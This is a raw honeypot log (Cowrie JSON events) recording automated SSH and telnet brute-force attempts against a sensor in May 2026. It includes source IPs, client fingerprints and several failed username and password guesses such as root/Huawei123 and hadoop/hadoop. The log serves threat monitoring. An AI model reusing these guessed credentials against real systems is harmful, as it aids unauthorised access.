{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:25.954729Z","src_ip":"170.238.160.191","session":"8b514046b92c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:26.072307Z","src_ip":"170.238.160.191","session":"8b514046b92c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!q2w3e4r","message":"login attempt [root/!q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:26.548369Z","src_ip":"170.238.160.191","session":"8b514046b92c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":38906,"dst_ip":"10.17.0.5","dst_port":22,"session":"0613d8cce529","protocol":"ssh","message":"New connection: 45.153.34.112:38906 (10.17.0.5:22) [session: 0613d8cce529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:27.084511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:27.089211Z","src_ip":"45.153.34.112","session":"0613d8cce529","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:27.171369Z","src_ip":"45.153.34.112","session":"0613d8cce529","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:27.417613Z","src_ip":"45.153.34.112","session":"0613d8cce529","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:27.671978Z","src_ip":"170.238.160.191","session":"8b514046b92c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:28.502799Z","src_ip":"45.153.34.112","session":"0613d8cce529","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":36182,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ef53c78a814","protocol":"ssh","message":"New connection: 45.153.34.112:36182 (10.17.0.5:22) [session: 0ef53c78a814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:30.405920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:30.438019Z","src_ip":"45.153.34.112","session":"0ef53c78a814","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:30.492374Z","src_ip":"45.153.34.112","session":"0ef53c78a814","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:30.814753Z","src_ip":"45.153.34.112","session":"0ef53c78a814","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:31.899774Z","src_ip":"45.153.34.112","session":"0ef53c78a814","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.12883448600769,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:32.416047Z","src_ip":"192.119.13.58","session":"7ca3e97e8cfe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.142266511917114,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:33.233394Z","src_ip":"192.119.13.58","session":"de243151f636","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":36190,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c2253b56e4d","protocol":"ssh","message":"New connection: 45.153.34.112:36190 (10.17.0.5:22) [session: 4c2253b56e4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:33.822817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:33.827289Z","src_ip":"45.153.34.112","session":"4c2253b56e4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:33.909537Z","src_ip":"45.153.34.112","session":"4c2253b56e4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop@1234","message":"login attempt [hadoop/hadoop@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:34.157452Z","src_ip":"45.153.34.112","session":"4c2253b56e4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.689788818359375,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:35.200819Z","src_ip":"192.119.13.58","session":"12cea17002f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:35.243235Z","src_ip":"45.153.34.112","session":"4c2253b56e4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36996,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a944e19ba1c","protocol":"telnet","message":"New connection: 192.119.13.58:36996 (10.17.0.5:23) [session: 0a944e19ba1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:35.572189Z"}
{"eventid":"cowrie.session.closed","duration":40.078651428222656,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:36.320514Z","src_ip":"192.119.13.58","session":"4110a35d8897","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":36204,"dst_ip":"10.17.0.5","dst_port":22,"session":"599e0db46296","protocol":"ssh","message":"New connection: 45.153.34.112:36204 (10.17.0.5:22) [session: 599e0db46296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:37.152826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:37.157342Z","src_ip":"45.153.34.112","session":"599e0db46296","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:37.239235Z","src_ip":"45.153.34.112","session":"599e0db46296","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.3090341091156,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:37.383671Z","src_ip":"192.119.13.58","session":"46d768921909","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:37.485390Z","src_ip":"45.153.34.112","session":"599e0db46296","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.475878953933716,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:38.234316Z","src_ip":"192.119.13.58","session":"0dcf02126bad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:38.569458Z","src_ip":"45.153.34.112","session":"599e0db46296","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":55928,"dst_ip":"10.17.0.5","dst_port":22,"session":"697d13541f9f","protocol":"ssh","message":"New connection: 45.153.34.112:55928 (10.17.0.5:22) [session: 697d13541f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:40.515219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:40.520391Z","src_ip":"45.153.34.112","session":"697d13541f9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:40.606556Z","src_ip":"45.153.34.112","session":"697d13541f9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.91625094413757,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:40.714869Z","src_ip":"192.119.13.58","session":"1f2bd4adafa8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:41.046359Z","src_ip":"45.153.34.112","session":"697d13541f9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:42.133253Z","src_ip":"45.153.34.112","session":"697d13541f9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38362,"dst_ip":"10.17.0.5","dst_port":23,"session":"739812896f7b","protocol":"telnet","message":"New connection: 192.119.13.58:38362 (10.17.0.5:23) [session: 739812896f7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:42.449087Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40168,"dst_ip":"10.17.0.5","dst_port":23,"session":"7de6f97e6fa9","protocol":"telnet","message":"New connection: 192.119.13.58:40168 (10.17.0.5:23) [session: 7de6f97e6fa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:42.913396Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":55938,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a6da578aac5","protocol":"ssh","message":"New connection: 45.153.34.112:55938 (10.17.0.5:22) [session: 1a6da578aac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:44.038260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:44.042809Z","src_ip":"45.153.34.112","session":"1a6da578aac5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:44.124969Z","src_ip":"45.153.34.112","session":"1a6da578aac5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123456","message":"login attempt [myuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:44.374589Z","src_ip":"45.153.34.112","session":"1a6da578aac5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45900,"dst_ip":"10.17.0.5","dst_port":23,"session":"aaf437d2b5c2","protocol":"telnet","message":"New connection: 192.119.13.58:45900 (10.17.0.5:23) [session: aaf437d2b5c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:44.381402Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:45.459722Z","src_ip":"45.153.34.112","session":"1a6da578aac5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51394,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ef9298f1339","protocol":"telnet","message":"New connection: 192.119.13.58:51394 (10.17.0.5:23) [session: 1ef9298f1339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:45.722674Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53512,"dst_ip":"10.17.0.5","dst_port":23,"session":"b68005ae8e47","protocol":"telnet","message":"New connection: 192.119.13.58:53512 (10.17.0.5:23) [session: b68005ae8e47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:46.243321Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":55950,"dst_ip":"10.17.0.5","dst_port":22,"session":"087517349f67","protocol":"ssh","message":"New connection: 45.153.34.112:55950 (10.17.0.5:22) [session: 087517349f67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:47.484095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:47.489685Z","src_ip":"45.153.34.112","session":"087517349f67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.175.218","src_port":37830,"dst_ip":"10.17.0.5","dst_port":22,"session":"98404dde24ae","protocol":"ssh","message":"New connection: 43.134.175.218:37830 (10.17.0.5:22) [session: 98404dde24ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:47.509273Z"}
